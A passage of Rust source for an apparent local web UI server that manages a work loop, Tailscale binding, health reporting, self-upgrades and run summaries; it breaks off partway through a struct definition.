1653const LEASE_BEAT: Duration = Duration::from_secs(20);
1656
1657async fn finish_loop(
1664 home: &FsPath,
1665 state: &Mutex<LoopState>,
1666 mut lease: Option<&mut updater::LeaseGuard>,
1667) {
1668 let live = lock_or_recover(state).live.take();
1669 let Some(live) = live else {
1670 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1671 return;
1672 };
1673 live.stop.stop();
1674 lock_or_recover(state).rev += 1;
1675 updater::log_step(
1676 home,
1677 "finish_loop: waiting for the loop to finish the run in flight",
1678 );
1679 let waited = std::time::Instant::now();
1680 let mut handle = live.handle;
1683 let mut beat = tokio::time::interval(LEASE_BEAT);
1684 loop {
1685 tokio::select! {
1686 _ = &mut handle => break,
1687 _ = beat.tick() => {
1688 if let Some(lease) = lease.as_deref_mut() {
1689 lease.beat();
1690 }
1691 }
1692 }
1693 }
1694 updater::log_step(
1695 home,
1696 &format!(
1697 "finish_loop: the loop ended after {:.1}s",
1698 waited.elapsed().as_secs_f32()
1699 ),
1700 );
1701}
1702
1703pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1709 match bind {
1710 Bind::Addr(addr) => (*addr, None),
1711 Bind::Auto => match tailscale_ip() {
1712 Ok(ip) => (IpAddr::V4(ip), None),
1713 Err(why) => (
1714 IpAddr::V4(Ipv4Addr::LOCALHOST),
1715 Some(format!(
1716 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1717 local-only and a phone cannot reach it; start Tailscale \
1718 or pass --bind <addr>"
1719 )),
1720 ),
1721 },
1722 }
1723}
1724
1725fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1733 let out = std::process::Command::new("tailscale")
1734 .args(["ip", "-4"])
1735 .quiet()
1736 .output()
1737 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1738 if !out.status.success() {
1739 let why = String::from_utf8_lossy(&out.stderr);
1740 let why = why.trim();
1741 return Err(format!(
1742 "`tailscale ip -4` failed ({}){}",
1743 out.status,
1744 if why.is_empty() {
1745 String::new()
1746 } else {
1747 format!(": {why}")
1748 }
1749 ));
1750 }
1751 String::from_utf8_lossy(&out.stdout)
1752 .lines()
1753 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1754 .find(is_tailnet)
1755 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1756}
1757
1758fn is_tailnet(ip: &Ipv4Addr) -> bool {
1760 let o = ip.octets();
1761 o[0] == 100 && (64..=127).contains(&o[1])
1762}
1763
1764type ApiResult<T> = std::result::Result<T, ApiError>;
1768
1769#[derive(Debug)]
1771struct ApiError {
1772 status: StatusCode,
1773 message: String,
1774 text_reason: Option<crate::question_delivery::UnavailableReason>,
1775}
1776
1777impl ApiError {
1778 fn bad_request(message: impl Into<String>) -> Self {
1780 Self {
1781 text_reason: None,
1782 status: StatusCode::BAD_REQUEST,
1783 message: message.into(),
1784 }
1785 }
1786
1787 fn not_found(message: impl Into<String>) -> Self {
1789 Self {
1790 text_reason: None,
1791 status: StatusCode::NOT_FOUND,
1792 message: message.into(),
1793 }
1794 }
1795
1796 fn with_status(mut self, status: StatusCode) -> Self {
1799 self.status = status;
1800 self
1801 }
1802
1803 fn bad_request_from(e: anyhow::Error) -> Self {
1807 Self::bad_request(format!("{e:#}"))
1808 }
1809
1810 fn conflict(message: impl Into<String>) -> Self {
1811 Self {
1812 text_reason: None,
1813 status: StatusCode::CONFLICT,
1814 message: message.into(),
1815 }
1816 }
1817
1818 fn internal(message: impl Into<String>) -> Self {
1820 Self {
1821 text_reason: None,
1822 status: StatusCode::INTERNAL_SERVER_ERROR,
1823 message: message.into(),
1824 }
1825 }
1826}
1827
1828impl From<anyhow::Error> for ApiError {
1829 fn from(e: anyhow::Error) -> Self {
1834 Self::internal(format!("{e:#}"))
1835 }
1836}
1837
1838impl IntoResponse for ApiError {
1839 fn into_response(self) -> Response {
1840 let mut body = serde_json::json!({ "error": self.message });
1841 if let Some(reason) = self.text_reason {
1842 body["code"] = serde_json::json!("question_text_unavailable");
1843 body["reason"] = serde_json::json!(reason);
1844 }
1845 (self.status, Json(body)).into_response()
1846 }
1847}
1848
1849async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1858where
1859 T: Send + 'static,
1860{
1861 #[cfg(test)]
1862 let job = request_cost::carry(job);
1863 match tokio::task::spawn_blocking(job).await {
1864 Ok(result) => result,
1865 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1866 }
1867}
1868
1869const ASSET_CACHE: &str = "no-cache, must-revalidate";
1887
1888fn asset_etag() -> &'static str {
1895 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1896 format!(
1897 "\"{}-{}\"",
1898 env!("CARGO_PKG_VERSION"),
1899 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1904 )
1905 });
1906 &TAG
1907}
1908
1909fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1911 [
1912 (header::CONTENT_TYPE, mime),
1913 (header::CACHE_CONTROL, ASSET_CACHE),
1914 (header::ETAG, asset_etag()),
1915 ]
1916}
1917
1918fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1926 let tag = asset_etag();
1927 let known = headers
1928 .get(header::IF_NONE_MATCH)
1929 .and_then(|v| v.to_str().ok())
1930 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1934 if known {
1935 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1936 }
1937 (asset_headers(mime), body).into_response()
1938}
1939
1940async fn index(headers: header::HeaderMap) -> Response {
1941 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1942}
1943
1944async fn app_css(headers: header::HeaderMap) -> Response {
1945 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1946}
1947
1948async fn app_js(headers: header::HeaderMap) -> Response {
1949 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1950}
1951
1952#[derive(Debug, Serialize)]
1954struct HealthView {
1955 version: &'static str,
1956 home: String,
1957 queue_rev: u64,
1958 runs_rev: u64,
1959 questions_rev: u64,
1971 talks_rev: u64,
1973 notifications_rev: u64,
1975 notifications_unread: usize,
1978 loop_rev: u64,
1983 runs_unreadable: usize,
1991 disk: DiskView,
1999 questions_open: usize,
2005 questions_needs_owner: usize,
2015 daemon: DaemonView,
2016 #[serde(rename = "loop")]
2022 looping: LoopView,
2023 update: UpdateView,
2030 upgrade: Option<UpgradeProgressView>,
2034 upgrade_request_error: Option<UpgradeRequestFailure>,
2035}
2036
2037#[derive(Debug, Serialize)]
2044struct UpdateView {
2045 available: bool,
2047 to: Option<String>,
2049}
2050
2051#[derive(Debug, Serialize)]
2053struct UpgradeProgressView {
2054 stage: updater::Stage,
2055 from: String,
2056 to: Option<String>,
2057 waiting_on: Option<String>,
2060 started_at: Timestamp,
2061 updated_at: Timestamp,
2062 detail: Option<String>,
2063 stuck_for_secs: Option<i64>,
2066 stuck_kind: Option<updater::StallKind>,
2069 handover_alive: bool,
2072}
2073
2074fn should_spawn_recheck(cfg: &Update) -> bool {
2081 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2082}
2083
2084fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2096 if progress.is_some_and(|p| !p.stage.terminal()) {
2097 return false;
2098 }
2099 checker.should_check()
2100}
2101
2102fn recheck_poll_period(cfg: &Update) -> Duration {
2115 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2116}
2117
2118async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2142 loop {
2143 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2144 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2145 if !should_spawn_recheck(&cfg.update) {
2146 continue;
2147 }
2148 let Some(checker) = updater::Checker::new(&cfg.update) else {
2149 continue;
2150 };
2151 let progress = updater::read_progress(&home);
2152 if !update_recheck_due(&checker, progress.as_ref()) {
2153 continue;
2154 }
2155 if let Err(e) = checker.newer_release().await {
2156 tracing::warn!("background update recheck failed: {e:#}");
2157 }
2158 }
2159}
2160
2161fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2167 let default;
2168 let cfg = match cfg {
2169 Some(cfg) => cfg,
2170 None => {
2171 default = Config::default();
2172 &default
2173 }
2174 };
2175 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2176 match latest {
2177 Some(latest) => UpdateView {
2178 available: true,
2179 to: Some(latest.tag_name),
2180 },
2181 None => UpdateView {
2182 available: false,
2183 to: None,
2184 },
2185 }
2186}
2187
2188fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2194 let now = Timestamp::now();
2195 let lease = updater::read_lease(&ui.home);
2196 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2197 let run_id = alive
2198 .and_then(|l| l.parked_run.as_deref())
2199 .or(progress.parked_run.as_deref());
2200 let parking = progress.stage == updater::Stage::Parking;
2201 let waited = alive.map_or_else(String::new, |l| {
2202 let secs = updater::waited_secs(l, now);
2203 format!(" (waited {} min so far)", secs / 60)
2204 });
2205 let run_text = run_id
2206 .filter(|_| parking)
2207 .map(|id| match read_run(&ui.runs, id).ok() {
2208 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2209 None => format!("run {id} is finishing"),
2210 });
2211 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2212 .filter(|t| parking && !t.is_empty())
2213 .map(|t| format!("{t} finishing"));
2214 let waiting_on = match (run_text, talks_text) {
2215 (None, None) => None,
2216 (run, talks) => {
2217 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2218 Some(format!(
2219 "{} before the address is handed over{waited}",
2220 parts.join(" and ")
2221 ))
2222 }
2223 };
2224 let detail = progress
2225 .detail
2226 .clone()
2227 .or_else(|| updater::read_note(&ui.home, &progress));
2228 let stalled = updater::stall(&progress, lease.as_ref(), now);
2229 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2230 UpgradeProgressView {
2231 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2232 stuck_kind: stalled.map(|s| s.kind),
2233 handover_alive: alive.is_some(),
2234 stage: progress.stage,
2235 from: progress.from,
2236 to: progress.to,
2237 waiting_on,
2238 started_at: progress.started_at,
2239 updated_at: progress.updated_at,
2240 detail,
2241 }
2242}
2243
2244#[derive(Debug, Serialize)]
2249struct DiskView {
2250 #[serde(skip_serializing_if = "Option::is_none")]
2252 free_bytes: Option<u64>,
2253 runs_bytes: u64,
2255 worktrees_bytes: u64,
2257 #[serde(skip_serializing_if = "Option::is_none")]
2259 cache_bytes: Option<u64>,
2260}
2261
2262impl DiskView {
2263 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2265 let cache_bytes = cfg
2266 .and_then(|cfg| cfg.cache_dir())
2267 .map(|dir| crate::disk::dir_size(&dir));
2268 Self {
2269 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2270 runs_bytes: crate::disk::dir_size(&ui.runs),
2271 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2272 cache_bytes,
2273 }
2274 }
2275}
2276
2277#[derive(Debug, Serialize)]
2279struct DaemonView {
2280 running: bool,
2281 idle: Option<bool>,
2282 pid: Option<u32>,
2283 current: Vec<daemon::Current>,
2287 completed: Option<u64>,
2288 stale_for_secs: Option<i64>,
2289}
2290
2291impl DaemonView {
2292 fn of(status: Option<daemon::Reading>) -> Self {
2296 let Some(status) = status else {
2297 return Self {
2298 running: false,
2299 idle: None,
2300 pid: None,
2301 current: Vec::new(),
2302 completed: None,
2303 stale_for_secs: None,
2304 };
2305 };
2306 let now = Timestamp::now();
2307 let age = status.age_secs(now);
2308 Self {
2309 running: status.running(now),
2310 idle: Some(status.idle),
2311 pid: status.pid,
2312 current: status.current,
2313 completed: Some(status.completed),
2314 stale_for_secs: age,
2315 }
2316 }
2317}
2318
2319async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2320 blocking(move || {
2321 let reading = daemon::read_status(&ui.home);
2325 let loop_rev = ui.lock_loop().rev;
2329 let cfg = deputy_config(&ui.repo);
2332 let update = cached_update_view(cfg.as_ref());
2333 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2334 Ok(Json(HealthView {
2335 version: env!("CARGO_PKG_VERSION"),
2336 home: ui.home.display().to_string(),
2337 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2338 runs_rev: runs_revision(&ui.runs),
2339 questions_rev: ui.questions.revision(),
2340 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2341 notifications_rev: ui.notices.revision(),
2342 notifications_unread: ui.notices.count_unread(),
2343 loop_rev,
2344 runs_unreadable: runs_unreadable(&ui.runs),
2345 questions_open: ui.questions.count_open(),
2346 questions_needs_owner: ui.questions.count_needs_owner(),
2347 daemon: DaemonView::of(reading.clone()),
2348 looping: ui.loop_view(reading),
2349 disk: DiskView::of(&ui, cfg.as_ref()),
2350 update,
2351 upgrade,
2352 upgrade_request_error: ui
2353 .upgrade_request_error
2354 .lock()
2355 .unwrap_or_else(PoisonError::into_inner)
2356 .clone(),
2357 }))
2358 })
2359 .await
2360}
2361
2362#[derive(Debug, Serialize)]
2364struct LoopView {
2365 running: bool,
2367 stopping: bool,
2375 parking: bool,
2383 owned: bool,
2391 repo: String,
2394 merge: Option<String>,
2397 last_error: Option<String>,
2405 daemon: DaemonView,
2408}
2409
2410#[derive(Debug, Clone, Copy)]
2419struct Foreign {
2420 pid: Option<u32>,
2422}
2423
2424impl Foreign {
2425 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2428 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2432 }
2433
2434 fn who(&self) -> String {
2437 match self.pid {
2438 Some(pid) => format!("another magi process (pid {pid})"),
2439 None => "another magi process".to_owned(),
2440 }
2441 }
2442}
2443
2444type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2449
2450fn launch_daemon(
2452 opts: daemon::Opts,
2453 stop: daemon::Stop,
2454) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2455 Box::pin(daemon::serve_until(opts, stop))
2456}
2457
2458#[derive(Debug, Default)]
2460struct LoopState {
2461 live: Option<Live>,
2463 rev: u64,
2471 last_error: Option<String>,
2474 resume_after_handover: bool,
2479}
2480
2481#[derive(Debug)]
2483struct Live {
2484 stop: daemon::Stop,
2486 handle: tokio::task::JoinHandle<()>,
2491 opts: daemon::Opts,
2495}
2496
2497impl Live {
2498 fn alive(&self) -> bool {
2500 !self.handle.is_finished()
2501 }
2502}
2503
2504fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2511 state.lock().unwrap_or_else(PoisonError::into_inner)
2512}
2513
2514async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2516 blocking(move || {
2517 let reading = daemon::read_status(&ui.home);
2518 Ok(Json(ui.loop_view(reading)))
2519 })
2520 .await
2521}
2522
2523#[derive(Debug, Deserialize)]
2529#[serde(deny_unknown_fields)]
2530struct LoopCommand {
2531 running: bool,
2532 #[serde(default)]
2542 park: bool,
2543}
2544
2545async fn loop_post(
2553 State(ui): State<Arc<Ui>>,
2554 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2555) -> ApiResult<Json<LoopView>> {
2556 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2559 blocking(move || {
2560 let reading = daemon::read_status(&ui.home);
2561 let foreign = Foreign::of(reading.as_ref());
2562 if body.running {
2563 ui.start_loop(foreign)?;
2564 } else {
2565 ui.stop_loop(foreign, body.park)?;
2566 }
2567 Ok(Json(ui.loop_view(reading)))
2568 })
2569 .await
2570}
2571
2572#[derive(Debug, Serialize)]
2574struct UpgradeView {
2575 from: String,
2577 to: Option<String>,
2579 parked: Option<String>,
2581 detail: String,
2583}
2584
2585fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2588 progress.filter(|p| !p.stage.terminal())
2589}
2590
2591fn upgrade_retry_after(message: &str) -> Option<u64> {
2594 if !message.contains("GitHub") || !message.contains("rate limit") {
2595 return None;
2596 }
2597 if message.contains("retry now") {
2598 return Some(0);
2599 }
2600 let duration = message
2601 .split_once("resets in ")
2602 .or_else(|| message.split_once("retry after "))?
2603 .1
2604 .split_once(')')?
2605 .0;
2606 let mut rest = duration.trim();
2607 if rest.is_empty() {
2608 return None;
2609 }
2610 let mut total = 0u64;
2611 while !rest.is_empty() {
2612 let n = rest.find(|c: char| !c.is_ascii_digit())?;
2613 let amount: u64 = rest[..n].parse().ok()?;
2614 let scale = match rest[n..].chars().next()? {
2615 's' => 1,
2616 'm' => 60,
2617 'h' => 3600,
2618 'd' => 86400,
2619 _ => return None,
2620 };
2621 total = total.checked_add(amount.checked_mul(scale)?)?;
2622 rest = rest[n + 1..].trim_start();
2623 }
2624 Some(total)
2625}
2626
2627#[derive(Debug, Clone, Serialize)]
2628struct UpgradeRequestFailure {
2629 occurred_at: String,
2630 error: String,
2631 retry_after_secs: Option<u64>,
2632 retry_at: Option<u64>,
2634}
2635
2636impl UpgradeRequestFailure {
2637 fn new(error: String) -> Self {
2638 let retry_after_secs = upgrade_retry_after(&error);
2639 let now = std::time::SystemTime::now()
2640 .duration_since(std::time::UNIX_EPOCH)
2641 .unwrap_or_default()
2642 .as_secs();
2643 Self {
2644 occurred_at: jiff::Timestamp::now().to_string(),
2645 error,
2646 retry_after_secs,
2647 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2648 }
2649 }
2650}
2651
2652async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2676 let reading = daemon::read_status(&ui.home);
2677 if let Some(other) = Foreign::of(reading.as_ref()) {
2678 return ApiError::conflict(format!(
2679 "the loop belongs to {}, so replacing this binary would leave \
2680 that process running an old one against the same queue. Upgrade \
2681 where it was started.",
2682 other.who()
2683 ))
2684 .into_response();
2685 }
2686
2687 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2692 return ApiError::conflict("another request is already preparing an upgrade")
2693 .into_response();
2694 };
2695 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2698}
2699
2700fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2701 match result {
2702 Ok(out) => {
2703 *ui.upgrade_request_error
2704 .lock()
2705 .unwrap_or_else(PoisonError::into_inner) = None;
2706 out.into_response()
2707 }
2708 Err(error) if error.status != StatusCode::CONFLICT => {
2709 let failure = UpgradeRequestFailure::new(error.message);
2710 *ui.upgrade_request_error
2711 .lock()
2712 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2713 let mut response = (error.status, Json(&failure)).into_response();
2714 if let Some(value) = failure
2715 .retry_after_secs
2716 .and_then(|secs| secs.to_string().parse().ok())
2717 {
2718 response.headers_mut().insert("retry-after", value);
2719 }
2720 response
2721 }
2722 Err(error) => error.into_response(),
2723 }
2724}
2725
2726async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2727 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2728 return Err(ApiError::conflict(
2729 "an upgrade is already in progress (this process started one and it \
2730 has not finished or failed yet)",
2731 ));
2732 }
2733 let recorded = updater::read_progress(&ui.home);
2734 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2735 return Err(ApiError::conflict(format!(
2736 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2737 stays stuck, restart the deck; on start it settles a stale record.",
2738 p.stage.as_str(),
2739 p.from,
2740 p.to.as_deref().unwrap_or("?"),
2741 )));
2742 }
2743
2744 if crate::updater::disabled_by_env() {
2750 return Ok((
2751 StatusCode::OK,
2752 Json(UpgradeView {
2753 from: env!("CARGO_PKG_VERSION").to_owned(),
2754 to: None,
2755 parked: None,
2756 detail: format!(
2757 "Automatic updates are disabled by {}. Nothing was parked \
2758 and nothing restarted.",
2759 crate::updater::NO_AUTOUPDATE_ENV
2760 ),
2761 }),
2762 ));
2763 }
2764
2765 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2770 let from = env!("CARGO_PKG_VERSION").to_owned();
2771 let latest = match crate::updater::Checker::new(&cfg.update) {
2772 Some(checker) => checker.newer_release().await,
2773 None => Ok(None),
2774 };
2775 upgrade_checked(ui, from, latest)
2776}
2777
2778fn upgrade_checked(
2779 ui: &Arc<Ui>,
2780 from: String,
2781 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2782) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2783 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2784 let Some(latest) = latest else {
2785 return Ok((
2786 StatusCode::OK,
2787 Json(UpgradeView {
2788 from,
2789 to: None,
2790 parked: None,
2791 detail: "Already on the newest release. Nothing was parked \
2792 and nothing restarted."
2793 .to_owned(),
2794 }),
2795 ));
2796 };
2797
2798 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2801 let detail = match &parked {
2802 Some(run) => format!(
2807 "Run {} is parking at its next step, which can take as long as \
2808 the step it is on - up to an hour for an implement wave. The \
2809 deck replaces itself once it parks, comes back, and the loop \
2810 carries that run on from where it stopped. Nothing is lost if \
2811 you close this.",
2812 crate::run::short_of(run)
2813 ),
2814 None => "The deck replaces itself and comes back. Nothing was in \
2815 flight to park."
2816 .to_owned(),
2817 };
2818
2819 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2823 progress.parked_run = parked.clone();
2824 updater::write_progress_logged(&ui.home, &progress);
2828
2829 let home = ui.home.clone();
2830 let looping = ui.looping();
2831 ui.upgrade_spawned
2832 .store(true, std::sync::atomic::Ordering::SeqCst);
2833 let spawned = Arc::clone(&ui.upgrade_spawned);
2834 tokio::spawn(async move {
2835 if let Err(e) = upgrade_and_restart(home.clone()).await {
2836 tracing::error!("the upgrade did not complete: {e:#}");
2837 lock_or_recover(&looping).resume_after_handover = false;
2838 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2842 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2845 }
2846 });
2847
2848 Ok((
2849 StatusCode::ACCEPTED,
2850 Json(UpgradeView {
2851 from,
2852 to: Some(latest.tag_name),
2853 parked,
2854 detail,
2855 }),
2856 ))
2857}
2858
2859async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2864 crate::updater::run_self_update(true, false, true).await?;
2867 updater::log_step(&home, "binary replaced - recording the replaced stage");
2868 if let Some(mut progress) = updater::read_progress(&home) {
2869 progress.advance(updater::Stage::Replaced);
2870 updater::write_progress_logged(&home, &progress);
2871 }
2872 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2873 HANDOVER.notify_one();
2874 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2875 Ok(())
2876}
2877
2878#[derive(Debug, Serialize)]
2884struct RunSummary {
2885 id: String,
2886 short: String,
2887 status: String,
2888 done: bool,
2889 instruction: String,
2890 title: String,
2891 repo: String,
2892 repo_name: String,
2893 created_at: String,
2894 updated_at: String,
2895 candidates: usize,
2896 viable: usize,
2897 judges: usize,
2898 winner: Option<char>,
2899 reviews: usize,
2900 quota_losses: usize,
2901 event: Option<String>,
2902 superseded_by: Option<String>,
2907 waiting: bool,
2914 live: crate::run::Liveness,
2918 pr: Option<crate::run::PrRecord>,
2920 unmerged_by_design: bool,
2926 #[serde(default)]
2929 display_status: String,
2930 #[serde(default)]
2933 badge_status: String,
2934 origin_label: String,
2937}
2938
2939impl RunSummary {
2940 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2941 Self {
2942 id: state.id.clone(),
2943 short: state.short().to_owned(),
2944 status: status_word(state.status),
2945 done: state.status.done(),
2946 unmerged_by_design: state.unmerged_by_design(),
2947 display_status: run_display_status(state, waiting, live),
2948 badge_status: run_display_status(state, waiting, live),
2949 instruction: state.instruction.clone(),
2950 title: title_from(&state.instruction, TITLE_MAX),
2951 repo: state.repo.display().to_string(),
2952 repo_name: state
2953 .repo
2954 .file_name()
2955 .map(|n| n.to_string_lossy().into_owned())
2956 .unwrap_or_default(),
2957 created_at: state.created_at.to_string(),
2958 updated_at: state.updated_at.to_string(),
2959 candidates: state.candidates.len(),
2960 viable: state.viable().len(),
2961 judges: state.config.graph.judges,
2962 winner: state.winner().map(|c| c.label),
2963 reviews: state.reviews.len(),
2964 quota_losses: state.quota.len(),
2965 event: state.events.last().map(|e| e.message.clone()),
2966 waiting,
2967 live,
2968 superseded_by: None,
2971 pr: state.pr.clone(),
2972 origin_label: crate::run::origin_label(state.origin.as_ref()),
2973 }
2974 }
2975}
2976
2977fn status_word(status: RunStatus) -> String {
2980 status.as_str().to_owned()
2984}
2985
2986fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2992 if waiting {
2993 return "waiting".to_owned();
2994 }
2995 if state.unmerged_by_design() {
2996 return "unmerged".to_owned();
2997 }
2998 if !state.status.done() && live == crate::run::Liveness::Dead {
2999 if state.parked {
3002 return "parked".to_owned();
3003 }
3004 return "stale".to_owned();
3005 }
3006 status_word(state.status)
3007}
3008
3009fn run_badge_status(
3017 state: &RunState,
3018 display_status: &str,
3019 live: crate::run::Liveness,
3020 superseded: bool,
3021) -> String {
3022 if state.status.done() || live == crate::run::Liveness::Live {
3023 return display_status.to_owned();
3024 }
3025 if superseded {
3026 return "superseded".to_owned();
3027 }
3028 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3032 return "stale".to_owned();
3033 }
3034 display_status.to_owned()
3035}
3036
3037#[derive(Debug, Deserialize)]
3039struct ListQuery {
3040 #[serde(default)]
3041 limit: Option<usize>,
3042 ids: Option<String>,
3044}
3045
3046impl ListQuery {
3047 fn contains(&self, id: &str) -> bool {
3048 self.ids
3049 .as_ref()
3050 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3051 }
3052}
3053
3054async fn runs_list(
3055 State(ui): State<Arc<Ui>>,
3056 Query(q): Query<ListQuery>,
3057) -> ApiResult<Json<Vec<RunSummary>>> {
3058 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3059 blocking(move || {
3060 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3061 let states = run_ids(&ui.runs)
3062 .into_iter()
3063 .filter_map(|id| read_run(&ui.runs, &id).ok())
3068 .take(limit)
3069 .filter(|run| q.contains(&run.id));
3070 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3071 let summaries = summarize(
3072 states,
3073 &open_runs,
3074 &claimed,
3075 &superseded,
3076 |p| probe.borrow_mut().status(p),
3077 |p| probe.borrow_mut().started_at(p),
3078 );
3079 Ok(Json(summaries))
3080 })
3081 .await
3082}
3083
3084fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3089 let open_runs: HashSet<String> = ui
3090 .questions
3091 .list()
3092 .into_iter()
3093 .filter(|q| q.status.open())
3094 .map(|q| q.run)
3095 .collect();
3096 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3097 .into_iter()
3098 .map(|c| c.run)
3099 .collect();
3100 (open_runs, claimed, ui.queue.superseded())
3101}
3102
3103fn summarize<I, S, D>(
3109 states: I,
3110 open_runs: &HashSet<String>,
3111 claimed: &HashSet<String>,
3112 superseded: &HashMap<String, String>,
3113 mut status_q: S,
3114 mut identity_q: D,
3115) -> Vec<RunSummary>
3116where
3117 I: IntoIterator<Item = RunState>,
3118 S: FnMut(u32) -> Option<bool>,
3119 D: FnMut(u32) -> Option<String>,
3120{
3121 states
3122 .into_iter()
3123 .map(|state| {
3124 let waiting = open_runs.contains(&state.id);
3125 let live =
3126 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3127 let mut row = RunSummary::of(&state, waiting, live);
3128 row.superseded_by = state
3129 .pr_taken_over_by
3130 .as_ref()
3131 .or_else(|| superseded.get(&state.id))
3132 .map(String::as_str)
3133 .map(crate::run::short_of)
3134 .map(str::to_owned);
3135 row.badge_status = run_badge_status(
3136 &state,
3137 &row.display_status,
3138 live,
3139 row.superseded_by.is_some(),
3140 );
3141 row
3142 })
3143 .collect()
3144}
3145
3146#[derive(Debug, Serialize)]
3153struct RunDetailView {
3154 stop_reason: Option<String>,
3155 #[serde(flatten)]
3156 state: RunState,
3157 instruction_md: Vec<md::Node>,
3158 #[serde(flatten)]
3162 prose_md: RunProseMd,
3163 live: crate::run::Liveness,
3178 unmerged_by_design: bool,
3183 #[serde(default)]
3185 waiting: bool,
3186 #[serde(default)]
3188 display_status: String,
3189 #[serde(default)]
3191 badge_status: String,
3192 done: bool,
3197 superseded_by: Option<String>,
3205 latest_attempt: Option<LatestAttempt>,
3219 task: Option<TaskRef>,
3222 origin_label: String,
3226 pass_views: Vec<PassView>,
3229}
3230
3231#[derive(Debug, Serialize)]
3233struct TaskRef {
3234 id: String,
3235 short: String,
3236 title: String,
3237 source_label: String,
3239 source_link: Option<SourceLink>,
3241 status: &'static str,
3243 attempts: usize,
3244 max_attempts: usize,
3245 is_latest: bool,
3247 latest: Option<RunBrief>,
3249 finished_by: Option<RunBrief>,
3251 closed_by_hand: bool,
3253}
3254
3255#[derive(Debug, PartialEq, Eq, Serialize)]
3257struct SourceLink {
